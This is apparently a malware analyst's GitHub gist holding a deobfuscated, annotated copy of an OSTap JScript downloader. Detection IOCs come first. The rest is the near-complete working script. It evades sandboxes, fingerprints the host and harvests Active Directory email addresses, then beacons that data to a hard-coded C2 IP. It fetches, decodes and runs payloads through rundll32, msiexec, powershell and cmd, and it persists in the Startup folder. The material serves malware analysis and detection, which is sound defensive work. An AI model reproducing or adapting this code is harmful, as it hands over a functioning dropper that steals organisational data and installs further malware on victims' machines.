Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save kirk-sayre-work/82cdc8f8faba929259bacb8ecea22162 to your computer and use it in GitHub Desktop.
Save kirk-sayre-work/82cdc8f8faba929259bacb8ecea22162 to your computer and use it in GitHub Desktop.
OSTap 2/1/2021 Commented and IOCs
/*
It looks like the OSTap functionality that copies the OSTap script to files on
mapped drives has been turned off in this sample. The code for this functionality is
there, but a flag is set to false so the code is not run.
IOCs:
Brittle IOCS (easily changed by the OSTap developers):
- C2 IP: 188.127.254.207 (very brittle IOC)
- Script executed with wscript/cscript with command line arguments "To Pa" or "dom"
- wscript/cscript writing files "som.dll" or "ToPa.exe" to disk.
- rundll32 running "som.dll"
- HTTP requests with user agent "Mozilla/5.0 (Windows NT 6.[1-4]; Win64; x64; Trident/7.0; rv:11) like Gecko"
(note the regex for the NT version number).
- A DLL that exports function "DllRegX".
More General IOCs:
Look for wscript processes with the "/E:JScript" or "/E:JScript.Encode" command line option spawning:
* wscript.exe with the "/E:JScript" or "/E:JScript.Encode" command line option.
* powershell.exe with "-noexit -executionpolicy bypass -File " command line options.
* msiexec.exe with "/i" as the only command line option.
* cmd.exe with command line '/C "[\\a-zA-Z0-9\._:]+">>[\\a-zA-Z0-9\._:]+ 2>&1' (note regex for file names).
* rundll32.exe
*/
// Loop waiting for a while.
var loop_index1 = 1;
var big_garbage_string = '';
while (1) {
// Just chew up some memory with this garbage string that is never used.
big_garbage_string = big_garbage_string + "Bd6I";
// Should we actually do something?
loop_index1++;
if (loop_index1 == 176002) {
// Declare some variables that will be used later.
var http_response_text = null;
var file_pointer1 = null;
var new_text_file1 = null;
var file_pointer2 = null;
var file_contents1 = null;
var error_msg1 = "Ko5t5r 4eddr556f";
var wscript_object = this.WScript;
var counter1 = 0;
var error_msg2 = "56445645354356r63544234243";
var activex_object = this.ActiveXObject;
var bogus_except_var = 0;
var finger_print_code1 = 0;
var script_file_name = wscript_object.ScriptFullName;
var finger_print_loop_index = 0;
var wscript_shell_object = wscript_object.CreateObject("WScript.Shell");
var loop_index2 = 1;
// Issue a fake warning popup with the running script is not in the startup directory.
try {
if ((wscript_object.Arguments.Length == 0) && (script_file_name.toLowerCase().indexOf("\\" + "startup" + "\\") == -1)) {
if (false) {
wscript_shell_object.Popup(unescape(error_msg2), 10, unescape(error_msg1), 0);
}
}
} catch (bogus_except_var) {}
break;
}
}
// Start the main OSTap loop.
while (1) {
// Should we actually do something? Note that this functionality will only
// be run once in this script execution.
loop_index2++;
if (loop_index2 == 40301) {
// Declare more variables.
var filesystem_object = new activex_object("Scripting.FileSystemObject");
var c2_url = null;
var curr_enumerator = finger_print_code1;
var wmi_object = null;
var wmi_object2 = null;
var curr_item = null;
var process_list_str = '';
var curr_line = '';
var file_prefix = '';
var drive_enumerator = null;
var drive_item = null;
var random_num = 0;
var computer_name = wscript_shell_object.Environment("PROCESS").Item("COMPUTERNAME");
var user_name = wscript_shell_object.Environment("PROCESS").Item("USERNAME");
var user_domain = wscript_shell_object.Environment("PROCESS").Item("USERDOMAIN");
var network_adapter_str = '';
var antivirus_str = '';
var machine_type = '';
var ldap_str = "no LDAP;";
var curr_email_addr = null;
var email_addr_str = '';
var ldap_default_naming_context = '';
var ldap_rootdse = null;
// Do a bit of anti-sandboxing. Anyone know what sandboxes these checks are looking for?
if (user_domain == "VBOX7-PC" ||
user_domain == "JANUSZ-PC" ||
user_domain == "ABBY-PC" ||
user_domain == "DESKTOP-HRW10" ||
user_domain == "AMAZING-LINGON" ||
user_domain == "SANDBOX-O365" ||
user_name == "Aimy" ||
user_name == "fred" ||
user_name == "Brad") {
// ei9() does not exist, so crash out if a sandbox is detected.
this.ei9("f4r");
}
// Read in the current script contents.
try {
file_pointer1 = filesystem_object.OpenTextFile(script_file_name, 1, false, 0);
file_contents1 = file_pointer1.ReadAll();
file_pointer1.Close();
file_pointer1 = null;
} catch (bogus_except_var) {}
// Are we running with no command line arguments?
if (wscript_object.Arguments.Length == 0) {
// Do some finger printing.
try {
// Grab the 1st 200 running processes and save to a string.
wmi_object = this.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
counter1 = 0;
curr_enumerator = new this.Enumerator(wmi_object.ExecQuery("Select * from Win32_Process"));
while (!curr_enumerator.atEnd()) {
if (counter1 == 200) break;
curr_item = curr_enumerator.item();
process_list_str = process_list_str + curr_item.Name + "*" + curr_item["ExecutablePath"] + "\r\n"
counter1++;
curr_enumerator.moveNext();
}
// Grab network adapter information and save to a string.
curr_enumerator = null;
counter1 = 0;
curr_enumerator = new this.Enumerator(wmi_object.ExecQuery("Select * from Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE"));
while (!curr_enumerator.atEnd()) {
if (counter1 == 10) break;
curr_item = curr_enumerator.item();
network_adapter_str = network_adapter_str + "*" + curr_item["IPAddress"](0) + "::" + curr_item.Caption;
counter1++;
curr_enumerator.moveNext();
}
// Save the installed AV to a string.
try {
wmi_object2 = this.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\SecurityCenter2");
curr_enumerator = null;
counter1 = 0;
curr_enumerator = new this.Enumerator(wmi_object2.ExecQuery("Select * from AntiVirusProduct"));
while (!curr_enumerator.atEnd()) {
if (counter1 == 10) break;
curr_item = curr_enumerator.item();
antivirus_str = antivirus_str + curr_item.displayName(0) + "::" + curr_item.pathToSignedReportingExe;
counter1++;
curr_enumerator.moveNext();
}
} catch (bogus_except_var) {}
// Save the classification of the infected machine to a string.
curr_enumerator = null;
counter1 = 0;
try {
curr_enumerator = new this.Enumerator(wmi_object.ExecQuery("Select DomainRole from Win32_ComputerSystem"));
while (!curr_enumerator.atEnd()) {
if (counter1 == 10) break;
curr_item = curr_enumerator.item();
switch (curr_item.DomainRole) {
case 0:
machine_type = "Standalone Workstation";
break;
case 1:
machine_type = "Member Workstation";
break;
case 2:
machine_type = "Standalone Server";
break;
case 3:
machine_type = "Member Server";
break;
case 4:
machine_type = "Backup Domain Controller";
break;
case 5:
machine_type = "Primary Domain Controller";
break;
default:
machine_type = "none";
}
counter1++;
curr_enumerator.moveNext();
}
} catch (bogus_except_var) {}
// Grab all the user email addresses we can get from AD and save those to a string.
// Welcome to the spam list for OSTap droppers.
counter1 = 0;
try {
ldap_rootdse = this.GetObject("LDAP://RootDSE");
ldap_default_naming_context = ldap_rootdse.Get("defaultNamingContext");
ldap_str = "LDAP://" + ldap_default_naming_context;
var adodb_conn_obj = new activex_object("ADODB.Connection");
adodb_conn_obj.Provider = "ADsDSOObject";
adodb_conn_obj.Open("Active Directory Provider");
var adodb_cmd_object = new activex_object("ADODB.Command");
adodb_cmd_object.ActiveConnection = adodb_conn_obj;
adodb_cmd_object.CommandText = "SELECT Mail FROM '" + ldap_str + "' WHERE objectCategory = 'user'";
adodb_cmd_object.Properties("Page Size") = 100;
adodb_cmd_object.Properties("Timeout") = 30;
adodb_cmd_object.Properties("Searchscope") = 2;
adodb_cmd_object.Properties("Cache Results") = false;
var email_query_results = adodb_cmd_object.Execute;
email_query_results.MoveFirst();
while (!email_query_results.EOF) {
if (counter1 == 26000) break;
curr_email_addr = email_query_results("mail") + "*";
if (curr_email_addr != "null*") {
email_addr_str = email_addr_str + curr_email_addr;
}
email_query_results.MoveNext();
counter1++;
};
} catch (bogus_except_var) {}
email_addr_str = ldap_str + ":SUM:" + counter1 + ":" + email_addr_str;
} catch (bogus_except_var) {}
}
// Setup for exfil of finger print data.
var shell_app_obj = new activex_object("Shell.Application");
var temp_dir = wscript_shell_object.ExpandEnvironmentStrings("%TEMP%");
var tmp_id_str = temp_dir;
var basic_recon_str = null;
// Compute a numeric code based on domain, user name, and computer name.
tmp_id_str = user_domain + computer_name + user_name;
for (finger_print_loop_index = 0; finger_print_loop_index < tmp_id_str.length; finger_print_loop_index++) {
finger_print_code1 = (((finger_print_code1 << (5)) - finger_print_code1) + tmp_id_str.charCodeAt(finger_print_loop_index)) & 4294967295;
}
finger_print_code1 = ((finger_print_code1 + 1) >>> 0).toString(16);
// Get the names of various secondary payload files.
var payload_file_name1 = temp_dir + "\\" + finger_print_code1 + 'user_name.Sim';
var payload_file_name2 = temp_dir + "\\" + finger_print_code1 + 'antivirus_str.Gos';
var payload_file_name3 = temp_dir + "\\" + finger_print_code1 + 'user_domain.Ews';
var file_contents1 = '';
// This OSTap sample has 188.127.254.207 as the C2 server.
var c2_url_prefix = "https://188.127.254.207/do/do.php";
var msxml2_obj = new activex_object("Msxml2.DOMDocument");
var base64_element = msxml2_obj.createElement("base64");
var adodb_stream_obj = new activex_object("ADODB.Stream");
var http_obj = new activex_object("Msxml2.ServerXMLHTTP.6.0");
// The recon data will be included in the C2 URL.
basic_recon_str = user_domain + "@@" + computer_name + "@@" + user_name + "@@" + network_adapter_str + "@@" + machine_type + "@@" + antivirus_str + "@@" + email_addr_str;
// Note that only the 1st 300 characters of the recon data are used.
var c2_url_suffix = "?si=I&ko=" + finger_print_code1 + "&cv=" + escape(basic_recon_str.slice(0, 300));
var seperator = "MaxrRfpiii=";
var c2_url_main = c2_url_prefix + c2_url_suffix;
var execution_stage = false;
var startup_folder = shell_app_obj.NameSpace(7);
// This is where we will persist OSTap in the startup folder.
var startup_payload_file_name = startup_folder.Self.Path + "\\" + finger_print_code1 + '.ldap_default_naming_context.jse';
var quit_flag = false;
var use_http_post_flag = false;
var random_num1 = 0;
var looks_like_a_mistake = null;
// Run with command line arguments "To Pa"?
if (wscript_object.Arguments.Length > 0 && wscript_object.Arguments(0) == "To" && wscript_object.Arguments(1) == "Pa") {
try {
wscript_object.Sleep(23905);
looks_like_a_mistake(wscript_object.Arguments(0));
} catch (bogus_except_var) {
try {
// Run file %TEMP%\ToPa ??? I guess?
this['wscript_shell_object'].Run(temp_dir + "\\" + wscript_object.Arguments(0) + wscript_object.Arguments(1), 1);
} catch (bogus_except_var) {}
}
// Quit the current executing OSTap.
wscript_object.Quit(1);
}
// Run with command line arguments "dom"?
if (wscript_object.Arguments.Length > 0 && wscript_object.Arguments(0) == "dom") {
try {
// Run %TEMP%\som.dll with rundll32 and then quit the current executing OSTap.
wscript_object.Sleep(15000);
wscript_shell_object.Exec("rundll32 " + '"' + temp_dir + "\\som.dll" + '"' + " DllRegX");
wscript_object.Sleep(15000);
filesystem_object.DeleteFile(temp_dir + "\\som.dll");
wscript_object.Quit(0);
} catch (bogus_except_var) {
wscript_object.Quit(0);
}
}
// Are we running out of %TEMP% and we have a command line argument?
// In this case we will be renaming payload files and running things.
if (script_file_name.indexOf(temp_dir) > -1 && wscript_object.Arguments.Length > 0) {
try {
// Read in all the contents of a secondary payload file.
file_pointer1 = filesystem_object.OpenTextFile(payload_file_name2, 1, false, 0);
file_contents1 = file_pointer1.ReadAll();
// Fix up the read in file contents.
file_contents1 = file_contents1.replace("[A:true,U:false]", '');
file_pointer1.Close();
file_pointer1 = null;
} catch (bogus_except_var) {}
// Delete the secondary payload file that was read in.
try {
wscript_object.Sleep(2000);
filesystem_object.DeleteFile(payload_file_name2);
} catch (bogus_except_var) {}
// 1st command line argument is "6"?
if (wscript_object.Arguments.length > 1 && wscript_object.Arguments(0) == "6") {
// We're going to save some payload in %TEMP% using the file name given as the 2nd command line argument.
payload_file_name2 = temp_dir + "\\" + wscript_object.Arguments(1);
quit_flag = true;
} else {
// 1st command line argument is not "6". Pick a random name for the payload.
random_num = Math.floor((Math.random() * 65019) + 10);
payload_file_name2 = payload_file_name2.replace(payload_file_name2.slice(-4), random_num + ".cmd");
}
// Decode base64 encoded payload.
try {
// Do the decode.
base64_element.dataType = "bin.base64";
base64_element.text = file_contents1.split(seperator).join('');
adodb_stream_obj.Open();
adodb_stream_obj.Type = 1;
adodb_stream_obj.Position = 0;
adodb_stream_obj.Write(base64_element.nodeTypedValue);
// Save the decoded payload to the file name chosen earlier.
adodb_stream_obj.SaveToFile(payload_file_name2, 2);
adodb_stream_obj.Flush();
adodb_stream_obj.Close();
adodb_stream_obj = null;
file_contents1 = null;
// Should we just save the payload and quit?
if (quit_flag) {
wscript_object.Quit(0);
}
} catch (bogus_except_var) {
// Decoding and saving the payload failed. Give up and quit.
wscript_object.Quit(0);
}
// 1st command line argument is "0"?
if (wscript_object.Arguments(0) == '0') {
// Rename the payload file to "ToPa.exe".
try {
filesystem_object.GetFile(payload_file_name2).Name = "ToPa.exe";
} catch (bogus_except_var) {}
}
// 1st command line argument is "1"?
if (wscript_object.Arguments(0) == "1") {
// Rename the payload file to "som.dll".
try {
filesystem_object.GetFile(payload_file_name2).Name = "som.dll";
} catch (bogus_except_var) {}
}
// 1st command line argument is "5"?
if (wscript_object.Arguments(0) == "5") {
// In this case it looks like the dropped payload was a MSI file. Install the MSI with msiexec.
try {
shell_app_obj.ShellExecute("msiexec", "/i " + '"' + payload_file_name2 + '"', '', "open", 1);
} catch (bogus_except_var) {}
}
// 1st command line argument is "4"?
if (wscript_object.Arguments(0) == "4") {
// Rename the payload file.
try {
shell_app_obj.ShellExecute("cmd", "/C " + '"' + payload_file_name2 + '"' + ">>" + payload_file_name3 + " 2>&1", '', "open", 0);
} catch (bogus_except_var) {}
}
// 1st command line argument is "3"?
if (wscript_object.Arguments(0) == "3") {
// In this case it looks like the dropped payload was a powershell file. Run the powershell.
try {
seperator = payload_file_name2 + ".ps1";
filesystem_object.MoveFile(payload_file_name2, seperator);
shell_app_obj.ShellExecute("powershell", "-noexit -executionpolicy bypass -File " + '"' + seperator + '"', '', "open", 0);
} catch (bogus_except_var) {}
}
// 1st command line argument is "3"?
if (wscript_object.Arguments(0) == "2") {
// Copy the payload to the startup directory.
try {
filesystem_object["CopyFile"](payload_file_name2, startup_payload_file_name, true);
} catch (bogus_except_var) {}
break;
}
try {
// Delete initial payload.
filesystem_object.DeleteFile(payload_file_name1);
} catch (bogus_except_var) {}
break;
}
// Start the loop hitting the C2 server.
while (7) {
try {
// We're going to be tacking on a random number as a GET parameter in each request.
c2_url = c2_url_main + "&" + Math.floor((Math.random() * (20000)) + 1) + Math.floor((Math.random() * (26800)) + 1);
http_obj.setOption(2, 13056);
// Sometimes do a GET, sometimes do a POST.
if (!use_http_post_flag) {
http_obj.open("GET", c2_url, false);
} else {
http_obj.open("POST", c2_url, false);
}
// Pick a user agent. Choose "NT 6.[1..4]" randomly.
random_num = Math.floor((Math.random() * 3) + 1);
http_obj.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6." + random_num + "; Win64; x64; Trident/7.0; rv:11) like Gecko");
// Doing a GET?
if (!use_http_post_flag) {
http_obj.send();
} else {
// Doing a POST.
use_http_post_flag = false;
http_obj.send(escape(file_contents1));
try {
filesystem_object.DeleteFile(payload_file_name3);
} catch (bogus_except_var) {}
}
// Did we hear back from the C2 server?
if (http_obj.status == 200) {
// What does the C2 server have for us?
http_response_text = http_obj.responseText;
try {
// Do we have the chunk seperator we expect to see in a base64 encoded payload?
if (http_response_text.indexOf(seperator) > -1) {
// We might be looking for the "info-package" value in the Content-Disposition ??
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("info-") > -1);
if (execution_stage) {
// Pause for a while if we already have a payload file.
file_contents1 = "nodata";
try {
if (!filesystem_object.FileExists(payload_file_name3)) {
wscript_object.Sleep(30000);
}
} catch (bogus_except_var) {}
// Read in the contents of the current payload file.
try {
file_pointer1 = null;
file_pointer1 = filesystem_object.OpenTextFile(payload_file_name3, 1, false, 0);
file_contents1 = file_pointer1.ReadAll();
file_pointer1.Close();
file_pointer1 = null;
} catch (bogus_except_var) {
file_contents1 = "error";
}
// Looks like we are going to POST to the C2 server sometime.
use_http_post_flag = true;
continue;
}
// I don't know what "llx-" is looking for.
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("llx-") > -1);
if (execution_stage) {
execution_stage = 1;
} else {
// I don't know what "upd-" is looking for.
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("upd-") > -1);
if (execution_stage) {
execution_stage = 2;
} else {
// I don't know what "pws-" is looking for.
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("pws-") > -1);
if (execution_stage) {
execution_stage = 3;
} else {
// I don't know what "cmd-" is looking for.
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("cmd-") > -1);
if (execution_stage) {
execution_stage = 4;
} else {
// I don't know what "msi-" is looking for.
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("msi-") > -1);
if (execution_stage) {
execution_stage = 5;
} else {
// I don't know what "bin-" is looking for.
execution_stage = (http_obj.getResponseHeader("Content-Disposition").indexOf("bin-") > -1);
if (execution_stage) {
execution_stage = 0;
} else {
execution_stage = http_obj.getResponseHeader("Content-Disposition");
execution_stage = "6 " + execution_stage.slice(execution_stage.indexOf("filename=") + 9).split("_")[1];
}
}
}
}
}
}
// Pause for a while if some other payload file exists.
try {
if (filesystem_object["FileExists"](payload_file_name2)) {
wscript_object.Sleep(31131);
}
} catch (bogus_except_var) {}
// Wrie the raw payload sent from the C2 server to disk.
new_text_file1 = filesystem_object.CreateTextFile(payload_file_name2, true, false);
new_text_file1.Write(http_response_text);
new_text_file1.Close();
new_text_file1 = null;
// Does the old payload look like it is JavaScript?
if (file_contents1.indexOf("catch(") > -1) {
// Save the old payload to a new file.
new_text_file1 = filesystem_object.CreateTextFile(payload_file_name1, true, false);
wscript_object.Sleep(32030);
new_text_file1.WriteLine(file_contents1);
new_text_file1.Close();
// We're going to be running regular JavaScript.
new_text_file1 = "/E:JScript ";
} else {
// That old payload is not JavaScript. The current running script IS JavaScript, so
// copy it over into a new file.
try {
filesystem_object.CopyFile(script_file_name, payload_file_name1, true);
} catch (bogus_except_var) {}
// We're going to be running encoded JavaScript.
new_text_file1 = "/E:JScript.Encode ";
}
// Run the JavaScript payload that we just wrote into a file.
try {
// First run it with the execution stage given on the CL.
wscript_shell_object.Exec("wscript " + new_text_file1 + '"' + payload_file_name1 + '"' + " " + execution_stage);
// If the stage is 0, also run it with the CL arguments "To Pa".
if (execution_stage == 0) {
wscript_shell_object.Exec("wscript " + new_text_file1 + '"' + payload_file_name1 + '"' + " To Pa");
}
// If the stage is 1, also run it with the CL arguments "dom".
if (execution_stage == 1) {
wscript_shell_object.Exec("wscript " + new_text_file1 + '"' + payload_file_name1 + '"' + " dom");
}
} catch (bogus_except_var) {
// As a fallback try running the JS payload with cscript rather than wscript.
this['wscript_shell_object'].Run("cscript " + new_text_file1 + '"' + payload_file_name1 + '"' + " " + execution_stage, 0);
}
wscript_object.Sleep(31810);
continue;
} else {
wscript_object.Sleep(31200);
continue;
}
} catch (bogus_except_var) {
wscript_object.Sleep(34000);
continue;
}
} else {
wscript_object.Sleep(30510);
continue;
}
} catch (bogus_except_var) {
wscript_object.Sleep(33000);
continue;
}
wscript_object.Sleep(32100);
};
wscript_object.Sleep(37020);
continue;
};
};
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment